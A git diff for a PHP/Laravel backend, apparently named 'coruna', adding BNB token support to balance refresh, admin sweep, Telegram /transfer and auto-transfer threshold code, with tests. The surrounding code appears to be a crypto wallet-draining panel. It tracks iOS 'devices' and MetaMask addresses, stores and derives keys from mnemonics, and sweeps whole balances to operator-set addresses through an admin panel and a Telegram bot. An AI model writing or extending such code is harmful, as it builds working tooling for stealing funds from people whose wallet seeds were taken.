diff --git a/.env.example b/.env.example index 575d84e..9f7333a 100644 --- a/.env.example +++ b/.env.example @@ -115,6 +115,7 @@ AUTO_TRANSFER_THRESHOLD_USDT= AUTO_TRANSFER_THRESHOLD_TRX= AUTO_TRANSFER_THRESHOLD_ETH= AUTO_TRANSFER_THRESHOLD_BTC= +AUTO_TRANSFER_THRESHOLD_BNB= TRANSFER_FEE_ADDRESS_TRON= TRANSFER_FEE_TOPUP_TRX=20 TRANSFER_FEE_PRIVATE_KEY_TRON= diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index eb4b439..ec1cb8b 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -61,6 +61,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '', 'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '', 'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '', + 'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '', 'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0, 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), @@ -93,6 +94,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'], 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], 'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])], ]); @@ -108,6 +110,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null), 'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null), 'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null), + 'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null), 'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)), 'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)), ]); @@ -127,6 +130,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'], 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], 'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])], ]); @@ -149,7 +153,7 @@ class AgentUserController extends Controller if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) { $agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']); } - foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) { + foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) { $key = 'auto_transfer_threshold_'.$coin; if (array_key_exists($key, $data)) { $agent->{$key} = $this->nullableThreshold($data[$key] ?? null); diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index e01a6dc..4adbfc7 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -46,6 +46,7 @@ class SystemSettingsController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'], 'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'], 'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'], 'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'], @@ -81,6 +82,7 @@ class SystemSettingsController extends Controller 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '', 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '', + 'auto_transfer.threshold_bnb' => $threshold($data['auto_transfer_threshold_bnb'] ?? null) ?? '', 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '', 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null), 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20', diff --git a/app/Http/Controllers/Admin/TransferRecordController.php b/app/Http/Controllers/Admin/TransferRecordController.php index 53fa5b1..0c6da41 100644 --- a/app/Http/Controllers/Admin/TransferRecordController.php +++ b/app/Http/Controllers/Admin/TransferRecordController.php @@ -23,7 +23,7 @@ class TransferRecordController extends Controller 'eth' => 'ETH', 'btc' => 'BTC', ], - 'assets' => ['USDT', 'TRX', 'ETH', 'BTC'], + 'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'], ]); } diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index e741c92..e08612a 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -160,7 +160,7 @@ class WalletAddressController extends Controller $amount = null; } else { $decimals = match ($asset) { - 'ETH' => 18, + 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; @@ -233,7 +233,7 @@ class WalletAddressController extends Controller private function assetsForChain(string $chain): array { return match ($chain) { - 'eth' => ['ETH', 'USDT'], + 'eth' => ['ETH', 'USDT', 'BNB'], 'btc' => ['BTC'], default => ['USDT', 'TRX'], }; diff --git a/app/Models/User.php b/app/Models/User.php index b358489..3bca002 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -14,6 +14,7 @@ class User extends Authenticatable 'auto_transfer_threshold_trx', 'auto_transfer_threshold_eth', 'auto_transfer_threshold_btc', + 'auto_transfer_threshold_bnb', 'album_storage_default', 'can_reveal_mnemonics', ]; @@ -41,6 +42,7 @@ class User extends Authenticatable 'auto_transfer_threshold_trx' => 'decimal:8', 'auto_transfer_threshold_eth' => 'decimal:8', 'auto_transfer_threshold_btc' => 'decimal:8', + 'auto_transfer_threshold_bnb' => 'decimal:8', 'album_storage_default' => 'boolean', 'can_reveal_mnemonics' => 'boolean', 'google_auth_open' => 'integer', diff --git a/app/Services/AutoTransferConfig.php b/app/Services/AutoTransferConfig.php index e6700a8..2626b91 100644 --- a/app/Services/AutoTransferConfig.php +++ b/app/Services/AutoTransferConfig.php @@ -16,7 +16,7 @@ use App\Models\WalletAddress; class AutoTransferConfig { /** @var list */ - public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC']; + public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC', 'BNB']; public function isEnabledForAddress(WalletAddress $address): bool { diff --git a/app/Services/AutoTransferService.php b/app/Services/AutoTransferService.php index 7e22d2b..d42e668 100644 --- a/app/Services/AutoTransferService.php +++ b/app/Services/AutoTransferService.php @@ -134,6 +134,7 @@ class AutoTransferService 'trx' => $address->trx, 'eth' => $address->eth, 'btc' => $address->btc, + 'bnb' => $address->bnb, ], ]; @@ -365,7 +366,7 @@ class AutoTransferService private function assetScale(string $asset): int { return match (strtoupper($asset)) { - 'ETH' => 18, + 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; @@ -378,7 +379,7 @@ class AutoTransferService { return match ($chain) { 'TRON', 'TRX' => ['USDT', 'TRX'], - 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'], + 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'], 'BTC', 'BITCOIN' => ['BTC'], default => [], }; diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php index f9ae75a..78e129d 100644 --- a/app/Services/Chain/EthDriver.php +++ b/app/Services/Chain/EthDriver.php @@ -41,7 +41,7 @@ class EthDriver implements ChainDriver $derived = Bip44::derive($mnemonic, $this->path($index)); $from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); - $units = $this->toTokenUnits($amount); + $units = $this->toTokenUnits($amount, $this->tokenDecimals($contract)); // transfer(address,uint256) selector = a9059cbb $data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT); @@ -76,16 +76,22 @@ class EthDriver implements ChainDriver // fall through to token } - $contract = trim((string) config('coruna.eth.usdt_contract', '')); - if ($contract === '') { - return false; + foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) { + $contract = trim((string) config($key, '')); + if ($contract === '') { + continue; + } + + try { + if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) { + return true; + } + } catch (\Throwable) { + // try the next token + } } - try { - return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0; - } catch (\Throwable) { - return false; - } + return false; } public function getNativeBalance(string $address): string @@ -118,7 +124,7 @@ class EthDriver implements ChainDriver return '0'; } - return $this->fromTokenUnits($this->hexToDec($hex)); + return $this->fromTokenUnits($this->hexToDec($hex), $this->tokenDecimals($contract)); } private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string @@ -184,10 +190,25 @@ class EthDriver implements ChainDriver return $human === '' ? '0' : $human; } - private function toTokenUnits(string $amount): string + private function tokenDecimals(string $contract): int { - $decimals = (int) config('coruna.eth.usdt_decimals', 6); - if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) { + $normalized = EthAddress::normalize($contract); + $known = [ + EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6), + EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18), + ]; + unset($known['']); + if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) { + return $known[$normalized]; + } + + return max(1, (int) config('coruna.eth.usdt_decimals', 6)); + } + + private function toTokenUnits(string $amount, int $decimals): string + { + $decimals = max(1, $decimals); + if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) { throw new RuntimeException('Invalid token amount'); } $factor = bcpow('10', (string) $decimals, 0); @@ -199,9 +220,9 @@ class EthDriver implements ChainDriver return $units; } - private function fromTokenUnits(string $units): string + private function fromTokenUnits(string $units, int $decimals): string { - $decimals = (int) config('coruna.eth.usdt_decimals', 6); + $decimals = max(0, $decimals); if (! preg_match('/^\d+$/', $units)) { $units = '0'; } diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 2b84845..cb3ce8a 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -259,6 +259,7 @@ class MnemonicWalletDiscovery 'coins' => [ 'eth' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), + 'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')), ], ]; } @@ -394,7 +395,7 @@ class MnemonicWalletDiscovery { return match ($chain) { 'tron' => ['trx' => '0', 'usdt' => '0'], - 'eth' => ['eth' => '0', 'usdt' => '0'], + 'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'], 'btc' => ['btc' => '0'], 'sol' => ['sol' => '0', 'usdt' => '0'], default => [], diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 741eb5d..0fad9ad 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -21,6 +21,7 @@ class SettingsService 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', 'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH', 'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC', + 'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB', 'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON', 'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON', 'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX', @@ -44,6 +45,7 @@ class SettingsService 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), 'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'), 'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'), + 'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'), 'transfer.to_address' => config('coruna.transfer.to_address'), 'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'), 'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'), @@ -108,6 +110,7 @@ class SettingsService 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), 'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''), 'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''), + 'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''), 'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''), 'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''), 'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''), @@ -149,6 +152,7 @@ class SettingsService 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), 'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]), 'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]), + 'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]), 'transfer.to_address' => config(['coruna.transfer.to_address' => $value]), 'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]), 'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]), diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index b8c5060..6747dfa 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -108,6 +108,13 @@ class TransferService $amount, $this->usdtContract($chain), ), + 'BNB' => $driver->sendToken( + $mnemonic, + $index, + $to, + $amount, + $this->bnbContract($chain), + ), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; @@ -442,11 +449,25 @@ class TransferService return $contract; } + private function bnbContract(string $chain): string + { + if (! in_array($chain, ['eth', 'ethereum'], true)) { + throw new RuntimeException('BNB is only supported on ETH'); + } + $contract = trim((string) config('coruna.eth.bnb_contract', '')); + if ($contract === '') { + throw new RuntimeException('BNB contract is not configured for '.$chain); + } + + return $contract; + } + private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string { $balance = match ($asset) { 'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress), 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), + 'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; @@ -457,7 +478,7 @@ class TransferService default => null, }; $scale = match ($asset) { - 'ETH' => 18, + 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; @@ -568,7 +589,7 @@ class TransferService private function assertAmountWithinLimit(string $amount, string $asset): void { $decimals = match ($asset) { - 'ETH' => 18, + 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; @@ -580,6 +601,7 @@ class TransferService 'TRX' => 'coruna.transfer.max_trx', 'ETH' => 'coruna.transfer.max_eth', 'BTC' => 'coruna.transfer.max_btc', + 'BNB' => 'coruna.transfer.max_bnb', default => 'coruna.transfer.max_usdt', }; $max = (string) config($maxKey, '0'); diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index a85a784..7d77848 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -11,7 +11,7 @@ use Illuminate\Support\Facades\Log; /** * Live on-chain balance refresh for wallet_addresses. * - * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only. + * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only. * SOL: SOL + USDT (SPL). */ class WalletBalanceService @@ -54,6 +54,10 @@ class WalletBalanceService if ($contract !== '') { $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); } + $bnbContract = trim((string) config('coruna.eth.bnb_contract', '')); + if ($bnbContract !== '') { + $attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract); + } $this->persistCoins($address, $attrs); Log::info('eth balance refresh ok', [ @@ -61,6 +65,7 @@ class WalletBalanceService 'address' => $addr, 'eth' => $address->eth, 'usdt' => $address->usdt, + 'bnb' => $address->bnb, ]); return true; diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php index 52e5843..aa01446 100644 --- a/app/Telegram/Handlers/HelpCommand.php +++ b/app/Telegram/Handlers/HelpCommand.php @@ -29,12 +29,13 @@ class HelpCommand '/channel', ' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接', '', - '/transfer [TRX|USDT|ETH|BTC] [amount]', + '/transfer [TRX|USDT|ETH|BNB|BTC] [amount]', ' 从设备地址转出到配置收款地址', ' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC', ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', ' 例: /transfer Txxx USDT 10', ' 例: /transfer 0x… ETH', + ' 例: /transfer 0x… BNB', ' 例: /transfer 1… BTC 0.01', ])); } diff --git a/app/Telegram/Handlers/TransferCommand.php b/app/Telegram/Handlers/TransferCommand.php index adb1e57..8b9b9bc 100644 --- a/app/Telegram/Handlers/TransferCommand.php +++ b/app/Telegram/Handlers/TransferCommand.php @@ -24,7 +24,7 @@ class TransferCommand if ($parts === []) { $bot->sendMessage( - "Usage: /transfer [TRX|USDT|ETH|BTC] [amount]\n" + "Usage: /transfer [TRX|USDT|ETH|BNB|BTC] [amount]\n" ."Omit amount to transfer all. Chain is inferred from address.\n" ."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n" .'To = per-chain TRANSFER_TO_ADDRESS* (env).' @@ -68,7 +68,7 @@ class TransferCommand return; } $decimals = match ($asset) { - 'ETH' => 18, + 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; @@ -172,7 +172,7 @@ class TransferCommand private function assetsForChain(string $chain): array { return match ($chain) { - 'eth' => ['ETH', 'USDT'], + 'eth' => ['ETH', 'USDT', 'BNB'], 'btc' => ['BTC'], default => ['TRX', 'USDT'], }; diff --git a/config/coruna.php b/config/coruna.php index 6b303fe..c486862 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -88,6 +88,7 @@ return [ 'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''), 'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''), 'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''), + 'threshold_bnb' => (string) env('AUTO_TRANSFER_THRESHOLD_BNB', ''), ], // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing @@ -117,6 +118,9 @@ return [ // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer. 'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'), 'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6), + // BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer. + 'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'), + 'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18), 'gas_limit' => env('ETH_GAS_LIMIT', ''), ], 'btc' => [ @@ -149,6 +153,7 @@ return [ 'max_trx' => env('TRANSFER_MAX_TRX', '0'), 'max_eth' => env('TRANSFER_MAX_ETH', '0'), 'max_btc' => env('TRANSFER_MAX_BTC', '0'), + 'max_bnb' => env('TRANSFER_MAX_BNB', '0'), // BIP44 account index scan upper bound when matching fromAddress. 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), // Leave this much native when transferring "all". diff --git a/database/migrations/2026_09_25_000010_users_auto_transfer_threshold_bnb.php b/database/migrations/2026_09_25_000010_users_auto_transfer_threshold_bnb.php new file mode 100644 index 0000000..a22d6c3 --- /dev/null +++ b/database/migrations/2026_09_25_000010_users_auto_transfer_threshold_bnb.php @@ -0,0 +1,22 @@ +decimal('auto_transfer_threshold_bnb', 24, 8)->nullable()->after('auto_transfer_threshold_btc'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('auto_transfer_threshold_bnb'); + }); + } +}; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 498ce1a..f4efbdd 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -152,7 +152,7 @@ layui.use(['table', 'form', 'layer'], function () { return ['USDT', 'TRX']; } if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) { - return ['ETH', 'USDT']; + return ['ETH', 'USDT', 'BNB']; } if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) { return ['BTC']; diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index a63f3c6..bbd1be7 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -156,6 +156,7 @@ layui.use(['table', 'form', 'layer'], function () { '' + '' + '' + + '' + '
留空则用系统阈值(系统也空则 >0)
' + '', success: function (layero, index) { diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index f32c38b..161a20b 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -93,6 +93,8 @@ value="{{ $form['auto_transfer.threshold_eth'] }}"> +
余额大于阈值才全额划转;留空按 >0 触发
diff --git a/tests/Feature/AddressSweepTest.php b/tests/Feature/AddressSweepTest.php index 94cbc93..fd3b44d 100644 --- a/tests/Feature/AddressSweepTest.php +++ b/tests/Feature/AddressSweepTest.php @@ -148,4 +148,48 @@ class AddressSweepTest extends TestCase ->assertStatus(403) ->assertJson(['code' => 1]); } + + #[Test] + public function admin_can_sweep_bnb_on_eth_address(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create([ + 'device_id' => 'dev-sweep-eth', + 'ios_version' => '18.0', + 'device_model' => 'iPhone', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94', + 'chain_type' => 'ETH', + 'source' => 'MetaMask', + 'eth' => '0.2', + 'usdt' => '10', + 'bnb' => '1.5', + 'monitor' => 0, + ]); + + $transfers = Mockery::mock(TransferService::class); + $transfers->shouldReceive('handle') + ->once() + ->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string')) + ->andReturn([ + 'ok' => true, + 'txid' => '0x'.str_repeat('ab', 32), + 'from' => $addr->address, + 'to' => '0x0000000000000000000000000000000000000001', + 'amount' => '1.5', + 'asset' => 'BNB', + ]); + $this->app->instance(TransferService::class, $transfers); + + $this->actingAs($admin, 'admin') + ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ + 'asset' => 'BNB', + 'amount' => '1.5', + ]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.asset', 'BNB'); + } } diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index d81aef9..f03bda4 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -247,6 +247,47 @@ class TelegramBotTest extends TestCase $this->assertStringContainsString('deadbeef', $last['text'] ?? ''); } + #[Test] + public function admin_transfer_accepts_bnb_on_eth_address(): void + { + $from = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94'; + $mock = Mockery::mock(TransferService::class); + $mock->shouldReceive('handle') + ->once() + ->withArgs(function (...$args) use ($from) { + return ($args[0] ?? null) === 'eth' + && strcasecmp((string) ($args[1] ?? ''), $from) === 0 + && ($args[2] ?? null) === '1.5' + && ($args[3] ?? null) === 'BNB'; + }) + ->andReturn([ + 'ok' => true, + 'txid' => '0xbnbtx', + 'from' => $from, + 'to' => '0x0000000000000000000000000000000000000001', + 'amount' => '1.5', + 'asset' => 'BNB', + ]); + $this->app->instance(TransferService::class, $mock); + + /** @var FakeNutgram $bot */ + $bot = app(Nutgram::class); + $bot->willReceivePartial([ + 'status' => ChatMemberStatus::CREATOR->value, + 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], + ]); + $bot->hearMessage([ + 'text' => '/transfer '.$from.' BNB 1.5', + 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], + ])->reply(); + + $bot->assertCalled('sendMessage', 2); + $history = $bot->getRequestHistory(); + $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); + $this->assertStringContainsString('0xbnbtx', $last['text'] ?? ''); + } + #[Test] public function admin_data_reports_dashboard_stats(): void { diff --git a/tests/Unit/EthDriverTest.php b/tests/Unit/EthDriverTest.php index c1b8f46..5b3ceae 100644 --- a/tests/Unit/EthDriverTest.php +++ b/tests/Unit/EthDriverTest.php @@ -3,6 +3,7 @@ namespace Tests\Unit; use App\Services\Chain\EthDriver; +use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -30,4 +31,29 @@ class EthDriverTest extends TestCase $this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')); $this->assertFalse($driver->isValidAddress('0x1234')); } + + #[Test] + public function token_balance_uses_per_contract_decimals(): void + { + config([ + 'coruna.eth.rpc_url' => 'https://ethereum.example', + 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', + 'coruna.eth.usdt_decimals' => 6, + 'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52', + 'coruna.eth.bnb_decimals' => 18, + ]); + + Http::fake(function ($request) { + $to = strtolower((string) ($request->data()['params'][0]['to'] ?? '')); + $result = str_contains($to, 'dac17f95') ? '0x5f5e100' : '0xde0b6b3a7640000'; + + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $result]); + }); + + $driver = new EthDriver; + $addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94'; + + $this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract'))); + $this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract'))); + } } diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php index 6bafb55..7e6283d 100644 --- a/tests/Unit/WalletBalanceServiceTest.php +++ b/tests/Unit/WalletBalanceServiceTest.php @@ -63,11 +63,14 @@ class WalletBalanceServiceTest extends TestCase $eth = \Mockery::mock(\App\Services\Chain\EthDriver::class); $eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25'); - $eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5'); + $eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5'); $manager = \Mockery::mock(\App\Services\Chain\ChainManager::class); $manager->shouldReceive('resolve')->with('eth')->andReturn($eth); $this->app->instance(\App\Services\Chain\ChainManager::class, $manager); - config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']); + config([ + 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', + 'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52', + ]); $device = Device::query()->create([ 'device_id' => 'dev-bal-2', @@ -88,6 +91,7 @@ class WalletBalanceServiceTest extends TestCase $addr->refresh(); $this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001); $this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001); + $this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001); } #[Test]